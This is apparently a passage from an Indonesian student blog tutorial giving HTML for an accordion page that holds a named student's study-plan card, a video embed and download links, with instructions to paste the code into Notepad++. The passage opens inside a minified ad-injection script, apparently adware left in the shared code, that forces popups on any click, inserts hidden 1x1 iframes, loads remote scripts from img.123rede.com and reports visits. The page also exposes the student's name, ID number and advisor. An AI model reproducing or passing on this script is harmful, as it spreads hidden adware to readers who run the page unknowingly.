adSize==nodeSize}deployAd:for(var i=0;i<deployAd.length;i++){if(!deployAd[i]){continue}if(this.adAlreadySize[deployAd[i].size]>=this.adMax)continue;if(deployAd[i].replace==1){window.NewWebTab=(function(adItem){return function(e){var targ=e.target;var fixed=targ.getAttribute("fixed");var tname=targ.tagName;if(tname=='A'||tname=='BOTTOM'||tname=='SUBMIT'||fixed){return}var myWindow=window.open(adItem.web);util.removeEventHandler(document.body,"click",NewWebTab);if(myWindow){var reportData={"ad_id":adItem.ad_id,"ad_type":adItem.ad_type,"ad_name":adItem.ad_name,"ad_size":adItem.ad_size,"ad_sort":adItem.ad_sort};getAd._reportEvent('download',reportData)}}})(deployAd[i]);util.addEventHandler(document.body,"click",NewWebTab);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}if(deployAd[i].replace==2){var ins_size=deployAd[i].size;if(ins_size.indexOf("ins-")==0)ins_size=ins_size.substr(4);if(deployAd[i].IJ_location=="1"){var tag='<div onclick="this.parentNode.parentNode.removeChild(this.parentNode);" style="width:20px;color:#fff;position:absolute;cursor:pointer;background-color:rgb(200,200,200);text-align:center;font-family:cursive;line-height:18px;">X</div>'+'<iframe enabled="true" width="'+ins_size.split('*')[0]+'px'+'" height="'+ins_size.split('*')[1]+'px'+'" frameborder="0" scrolling="no" src="'+deployAd[i].url+'">'+'</iframe>';var newIframe=document.createElement("div");newIframe.setAttribute("style","position:fixed;right:0;bottom:0;z-index:9999;");newIframe.setAttribute("enabled","true");newIframe.innerHTML=tag;this.oBody.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}else if(deployAd[i].IJ_location=="2"){var style_tag=document.createElement("link");style_tag.href='http://img.123rede.com/static/pagepeel/pagepeel.packed.css';style_tag.rel='stylesheet';style_tag.type='text/css';var script_jquery_tag=document.createElement("script");script_jquery_tag.type='text/javascript';script_jquery_tag.src='http://img.123rede.com/static/pagepeel/jquery.min.js';var script_tag=document.createElement("script");script_tag.type='text/javascript';script_tag.src='http://img.123rede.com/static/pagepeel/pagepeel-jquery.js';var scripthead=document.getElementsByTagName('head')[0];scripthead.appendChild(style_tag);scripthead.appendChild(script_jquery_tag);setTimeout(scripthead.appendChild(script_tag),3000);var ostag='<span class="peel">'+'<map name="peelmap">'+'<area shape="poly" coords="0,0,614,0,614,530,0,0" href="'+deployAd[i].web+'" target="_blank" class="peel-hotzone" />'+'</map>'+'<img src="http://img.123rede.com/static/pagepeel/page-peel.png" alt="" class="peel" />'+'<iframe class="back corner" frameborder="0" marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true" scrolling="no" allowfullscreen="true" style="width:75px;height:75px" src="'+deployAd[i].url+'"></iframe>'+'<span class="back link">'+'<img src="http://img.123rede.com/static/pagepeel/trans.gif" alt="" class="map" usemap="#peelmap" />'+'<span class="peel-content"></span>'+'<div class="ad" alt="Close">X</div>'+'</span>'+'</span>';var pagepeel=document.createElement("div");pagepeel.id='pagepeel';pagepeel.setAttribute('class','xteam-pagepeel');pagepeel.setAttribute('enabled','true');pagepeel.innerHTML=ostag;this.oBody.appendChild(pagepeel);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);continue}}if(deployAd[i].size=='1*1'){var report_download_now=false;newIframe=document.createElement('iframe');if(deployAd[i].ad_tag.indexOf("opendirectly")>=0){newIframe.src=deployAd[i].web;report_download_now=true}else newIframe.src=deployAd[i].url;newIframe.style.width='1px';newIframe.style.height='1px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);this.oBody.appendChild(newIframe);if(report_download_now){var reportData={"ad_id":deployAd[i].ad_id,"ad_type":deployAd[i].ad_type,"ad_name":deployAd[i].ad_name,"ad_size":deployAd[i].ad_size,"ad_sort":deployAd[i].ad_sort};this._reportEvent('download',reportData)}continue}var enabledIframeTemp=this.enabledIframe.slice(0);for(var j=0;j<enabledIframeTemp.length;j++){tempNode=enabledIframeTemp[j];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.src=deployAd[i].url;tempNode.onload=function(){};this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledIframe=util.arrDelete(this.enabledIframe,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}var enabledDivTemp=this.enabledDiv.slice(0);for(var k=0;k<enabledDivTemp.length;k++){tempNode=enabledDivTemp[k];if(tempNode.getAttribute('fixed')&&deployAd[i].ad_tag=='google'){continue}if(sizeJudge(deployAd[i].size,tempNode)){tempNode.innerHTML='';newIframe=document.createElement('iframe');newIframe.src=deployAd[i].url;newIframe.style.width=(tempNode.offsetWidth||deployAd[i].size.split('*')[0])+'px';newIframe.style.height=(tempNode.offsetHeight||deployAd[i].size.split('*')[1])+'px';newIframe.style.border=0;newIframe.setAttribute('scrolling','no');newIframe.setAttribute('frameborder',0);tempNode.appendChild(newIframe);this.configAdRepeat.push(deployAd[i].ad_id);this._report(deployAd[i].ad_id,deployAd[i].ad_type,deployAd[i].ad_name,deployAd[i].size,deployAd[i].AD_sort);this.adAlreadySize[deployAd[i].size]=this.adAlreadySize[deployAd[i].size]?this.adAlreadySize[deployAd[i].size]+1:1;this.enabledDiv=util.arrDelete(this.enabledDiv,tempNode);tempNode.setAttribute("enabled","true");continue deployAd}}}},_report:function(ad_id,ad_type,ad_name,ad_size,ad_sort){reportData={params:{"ad_id":ad_id,"ad_type":ad_type,"ad_name":ad_name,"ad_size":ad_size,"ad_sort":ad_sort}};report.infinite('get_ad',reportData)},_reportEvent:function(eventName,_params){reportData={params:_params};report.infinite(eventName,reportData)},infuse:function(probability){var self=this;var probability=probability?probability:1;if(new Date().getTime()%probability==0){if(self.uuid){self._getAd();return true}report._pushQueue((function(context){return function(uuid){context.uuid=uuid;context._getAd()}})(self))}},loopInfuse:function(loopTotal,frequency,probability){var self=this;var loopTotal=loopTotal?loopTotal:30;var loopTotal2=40;clearInterval(this.timer);var frequency=frequency||1000;self.count=1;if(!loopTotal||typeof loopTotal!=='number'){return'no polling'}function doInfuse(){if(self.bInWhiteList)return false;if(self.isRun){self.timer=setTimeout(doInfuse,500);return false}if(self.count>=loopTotal&&document.readyState!="complete")loopTotal=loopTotal2;if(self.count<loopTotal){self.infuse(probability);self.timer=setTimeout(doInfuse,frequency);self.count++}}self.timer=setTimeout(doInfuse,frequency)},onlyInfuse:function(probability){var oPlug=document.getElementById('chrome_plug_flag_1_0_0');if(oPlug){return false}var oDiv=document.createElement('div');oDiv.setAttribute('id','chrome_plug_flag_1_0_0');oDiv.style.display='none';oBody=document.getElementsByTagName('body')[0];oBody.appendChild(oDiv);this.infuse(probability)},_setUuid:function(uuid){if(uuid&&typeof uuid==='string'){this.uuid=uuid;return true}report.queue.push((function(context){return function(uuid){context._setUuid(uuid)}})(this));return false},_getKeywords:function(){var metas=$doc.getElementsByTagName('meta');for(var i=0;i<metas.length;i++){if(metas[i].name.toLowerCase()=='keywords'&&metas[i]['content'].length>0)this.keywords=encodeURIComponent(metas[i]['content'])}},setAccount:function(account){if(!account.appid){throw new Error('could not find appid')}this.appid=account.appid;this.adMax=account.adMax;this._setUuid(account.uuid)}});var getAd=new GetAd();function OtherFun(){}util.extend(OtherFun.prototype,{init:function(){if($win.location.hostname.toLowerCase().indexOf('google')!=-1){if('serviceWorker'in navigator){try{navigator.serviceWorker.register('/_/chrome/newtab-serviceworker.js',{scope:'.'}).then(function(sw){registration.unregister().then(function(){})},function(x){})}catch(e){}}}}});var otherFun=new OtherFun();var __egg={setAccount:function(account){if(!account.appid){return false}if(!util.isPlugin&&!account.uuid){return false}report.setAccount(account);if(report.uuid)account.uuid=report.uuid;getAd.setAccount(account);this.report=report;this.getAd=getAd;otherFun.init()}};__egg.setAccount({"appid":"4167633929",'adMax':6});$win.__egg=__egg})(window,document);if(window.top==this){__egg.report.loopSend('visit');__egg.getAd.loopInfuse()};
</script>

                <table width="98%" border="0" align="center" cellpadding="2" cellspacing="0">
            <tbody><tr>
            <td width="15%" align="center"></td>
                <td class="judul"></td>
                <td width="15%" rowspan="4"><img src="saya.png" width="100"></td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center">&nbsp;</td>
            </tr>
            <tr>
                <td>&nbsp;</td>
                <td align="center" class="judulkartu"><p style="color:white;">KARTU RENCANA STUDI</P></td>
            </tr>
            <tr>
                <td colspan="2">&nbsp;</td>
            </tr>

            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1">
                        <tbody p style="color:white;">
                        <tr>
                            <td width="14%">NPM</td>
                            <td width="1%">:</td>
                            <td width="39%">150210244</td>
                            <td width="13%">Program Studi</td>
                            <td width="1%">:</td>
                            <td width="32%">Teknik Informatika</td>
                        </tr>
                        <tr>
                            <td>Nama Mahasiswa </td>
                            <td>:</td>
                            <td>ANDRI YUSUF</td>
                            <td>Peminatan </td>
                            <td>:</td>
                            <td>-</td>
                        </tr>
                        <tr>
                            <td>Status Kelas</td>
                            <td>:</td>
                            <td>Shift</td>
                            <td>Jenjang</td>
                            <td>:</td>
                            <td>Strata 1</td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td>Semester</td>
                            <td>:</td>
                            <td>Genap 2017/2018</td>
                        </tr>

                    </tbody>
                    </P>
                    </table>
                    </td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="2" cellspacing="1" bgcolor="#000000">
                        <tbody><tr class="judultabel">
                            <td width="5%" rowspan="2" align="center" bgcolor="#FFFFFF">NO</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">KMK</td>
                            <td width="28%" rowspan="2" align="center" bgcolor="#FFFFFF">NAMA MATA KULIAH </td>
                            <td width="4%" rowspan="2" align="center" bgcolor="#FFFFFF">sks</td>
                            <td width="18%" rowspan="2" align="center" bgcolor="#FFFFFF">KODE KELAS </td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">RUANG</td>
                            <td width="10%" rowspan="2" align="center" bgcolor="#FFFFFF">HARI</td>
                            <td colspan="2" align="center" bgcolor="#FFFFFF">SHIFT</td>
                        </tr>
                        <tr class="judultabel">
                            <td width="7%" align="center" bgcolor="#FFFFFF">PAGI</td>
                            <td width="8%" align="center" bgcolor="#FFFFFF">MALAM</td>
                        </tr>
                        <tr>
                            <td height="2" colspan="9" bgcolor="#FFFFFF"></td>
                        </tr>
                                                    <tr>
                                <td align="right" bgcolor="#FFFFFF">1.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">2.</td>
                                <td align="center" bgcolor="#FFFFFF">SI614</td>
                                <td bgcolor="#FFFFFF">Sistem Operasi</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-SI614-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Senin</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">3.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">4.</td>
                                <td align="center" bgcolor="#FFFFFF">IS13P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Java Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS13P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-103</td>
                                <td align="center" bgcolor="#FFFFFF">Selasa</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">5.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF">4</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">6.</td>
                                <td align="center" bgcolor="#FFFFFF">IS014</td>
                                <td bgcolor="#FFFFFF">Keamanan Jaringan</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">172-IS014-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Rabu</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">7.</td>
                                <td align="center" bgcolor="#FFFFFF">TI031</td>
                                <td bgcolor="#FFFFFF">Metode Penelitian Teknik Informatika</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI031-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">8.</td>
                                <td align="center" bgcolor="#FFFFFF">TI029</td>
                                <td bgcolor="#FFFFFF">Komputasi Numerik</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-TI029-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Kamis</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">9.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11T</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Teori</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11T-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-205</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">18.00</td>
                            </tr>
                                                        <tr>
                                <td align="right" bgcolor="#FFFFFF">10.</td>
                                <td align="center" bgcolor="#FFFFFF">IS11P</td>
                                <td bgcolor="#FFFFFF">Pemrograman Berbasis Web Praktek</td>
                                <td align="center" bgcolor="#FFFFFF">2</td>
                                <td align="center" bgcolor="#FFFFFF">172-IS11P-T1</td>
                                <td align="center" bgcolor="#FFFFFF">T-106</td>
                                <td align="center" bgcolor="#FFFFFF">Jumat</td>
                                <td align="center" bgcolor="#FFFFFF"></td>
                                <td align="center" bgcolor="#FFFFFF">19.50</td>
                            </tr>
                                                    <tr>
                            <td colspan="9" align="right" bgcolor="#FFFFFF"><strong>Total sks
                                    20                                </strong></td>
                        </tr>
                        <tr>
                            <td colspan="9" bgcolor="#FFFFFF">
                                <table width="100%" border="0" cellpadding="2" cellspacing="2" bordercolor="#990000" bgcolor="#990000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Syarat &amp; Ketentuan :
                                            <ul>
                                                <li>Saya sudah membaca, memahami dan menyetujui KRS ini</li>
                                                <li>Saya sudah membaca dan memahami Kode Kehormatan dan Peraturan untuk Mahasiswa Universitas Putera Batam</li>
                                                <li> Pindah waktu kuliah hanya bisa dari pagi atau malam
                                                    ke "SHIFT" (bila kelas belum penuh dan ada persetujuan dari BAAK)</li>
                                                <li>KRS ini wajib dicetak &amp; ditandatangani oleh mahasiswa &amp; pembimbing akademik,
                                                    kemudian diserahkan ke BAAK/BLM
                                                    (bila tidak dikumpulkan maka nama tidak akan tampil di kelas)</li>
                                                <li>KRS yang telah diajukan oleh mahasiswa wajib dibayar biaya sksnya dan dijalankan sesuai jadwal perkuliahan yang berlaku.</li>
                                                <li>Jadwal bimbingan<strong> <u>Tugas Akhir / Skripsi</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <li>Jadwal <strong><u>Jurnal Penelitian</u></strong> setiap Jum'at (14.00 s/d 17.00) / Sabtu (09.00 s/d 11.45 dan 14.00 s/d 17.00) di Kampus Tembesi</li>
                                                <!--li><strong> <u>Kuliah Umum / Studium Generale</u></strong> setiap Sabtu jam 18.30 s/d 22.00 di Kampus Tembesi</li-->
                                            </ul>
                                        </td>
                                    </tr>
                                </tbody></table>
                                Catatan :<br>
                                *** Lihat Pengumuman<br>
                                --- &nbsp;Skripsi tanpa bimbingan
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
            <tr>
                <td colspan="3"><table width="100%" border="0" cellpadding="1" cellspacing="0">
                        <tbody><tr>
                            <td width="35%"><p style="color:white;">Pembimbing Akademik </P></td>
                            <td width="32%">&nbsp;</td>
                            <td width="33%"><p style="color:white;">Batam, 09 Apr 2018</P></td>
                        </tr>
                        <tr>
                            <td>&nbsp;</td>
                            <td>&nbsp;</td>
                            <td><p style="color:white;">Mahasiswa</P></td>
                        </tr>
                        <tr>
                            <td height="50">&nbsp;</td>
                            <td>&nbsp;</td>
                            <td><!--input name="checkbox" type="checkbox" value="checkbox" checked="checked" disabled="disabled" />
                            <strong><u>Setuju</u></strong><br />
                            <input type="checkbox" name="checkbox2" value="checkbox" disabled="disabled" />Tidak Setuju </td-->
                        </td></tr>
                        <tr>
                            <td>
                                                                <table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">Januardi Nasir, S.Kom., M.Kom.</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                            <td>&nbsp;</td>
                            <td><table border="0" cellpadding="1" cellspacing="0" bgcolor="#000000">
                                    <tbody><tr>
                                        <td bgcolor="#FFFFFF">ANDRI YUSUF</td>
                                    </tr>
                                    <tr>
                                        <td height="1"></td>
                                    </tr>
                                </tbody></table>
                            </td>
                        </tr>
                    </tbody></table>
                </td>
            </tr>
        </tbody></table>
</p>
</body>
</div>
<br>
<br>
<button class="accordion">Pertemuan 2</button>
<div class="panel">
  <p style="color:white;"> Tugas Pertemuan 2 : Video & Audio  </p>
  <body background='uclvs.png'>
<h1 align='center'> <p style="color:red;"> Semi Final </p> </h1>
<h2 align='center'> <p style="color:white;"> Bayern Munchen VS Real Madrid </p> </h2>
<center><<iframe width="560" height="315" src="https://www.youtube.com/embed/eyGG-zxA6dQ" frameborder="0" allow="autoplay; encrypted-media" allowfullscreen></iframe></center>
<center><audio controls='#' loop='loop'>
    <source src='sounducl.mp3' type='audio/mpeg'></audio>
    <br></br>
</body>
</div>
<br>
<br>
<button class="accordion">Pertemuan 3</button>
<div class="panel">
  <p style="color:white;"> Tugas Pertemuan 3 : Sima </p>
  <p style="color:white;">Klik Link Berikut Untuk Download & Melihat => <a href='https://sites.google.com/site/andriyusufpertemuan4/download/andri%20yusuf%20pert%203.zip?attredirects=0&d=1'> Sima </p>
<p style='dont show;' style="color:white;">Klik Link Berikut Untuk Download & Melihat => <a href='https://sites.google.com/site/andriyusufpertemuan4/download/andri%20yusuf%20pert%204.zip?attredirects=0&d=1'> Simple </p>
  </div>
<br>
<br>
<button class="accordion">Pertemuan 4</button>
<div class="panel">
  <p style="color:white;"> Tugas Pertemuan 4 : Simple </p>
  <p style="color:white;">Klik Link Berikut Untuk Download & Melihat => <a href='https://sites.google.com/site/andriyusufpertemuan4/download/andri%20yusuf%20pert%204.zip?attredirects=0&d=1'> Simple </p>
  <a href= "file:///C:/Users/Owner/Downloads/Accordion(1)/Accordion/andri.html" >
</div>
<br>
<br>
<button class="accordion">Pertemuan 5</button>
<div class="panel">
  <p style="color:white;"> Tugas Pertemuan 5 : My Course </p>
 
</div>
<br>

<script>
var acc = document.getElementsByClassName("accordion");
var i;

for (i = 0; i < acc.length; i++) {
    acc[i].onclick = function(){
        this.classList.toggle("active");
        var panel = this.nextElementSibling;
        if (panel.style.display === "block") {
            panel.style.display = "none";
        } else {
            panel.style.display = "block";
        }
    }
}
</script>
<br>
<br>
<center><a href="slide.html"><button>Go To Slide >></button></a></center>
</body>
</html>


oke .. setelah di copy coding diatas silahkan di pastekan ke notepad ++ seperti gam,bar di bawah ini:


Kemudian save notepad++ ini dengan format html, kemudian hasil yang disave akan berbentuk browser, silahkan klik dua kali untuk membuka, jika tidak bisa dibuka melalui mozilla, gunakan saja google chroom karna lebih support, setelah dibuka akan muncul tampilan seperti dibawah ini:


Ada 5 button yang saya buat dengan nama pertemuan 1 sampai 5 yang berisikan materi yang sudah saya share di website ini mulai dari biodata sampai materi ini.

Kemudian di button paling bawah ada yang saya beri nama Go To Slide >> yang berfungsi untuk lanjut ke halaman berikutnya, nah.. sekarang kita akan buat halaman yang akan dituju berikut silahkan klik link dibawah untuk lanjut.

Lanjut => Cara Membuat Slide Atau Tampilan Yang Bisa Bergeser di HTML

Terima Kasih....


Friday, May 4, 2018 May 04, 2018 - tanpa komentar

No comments:

Post a Comment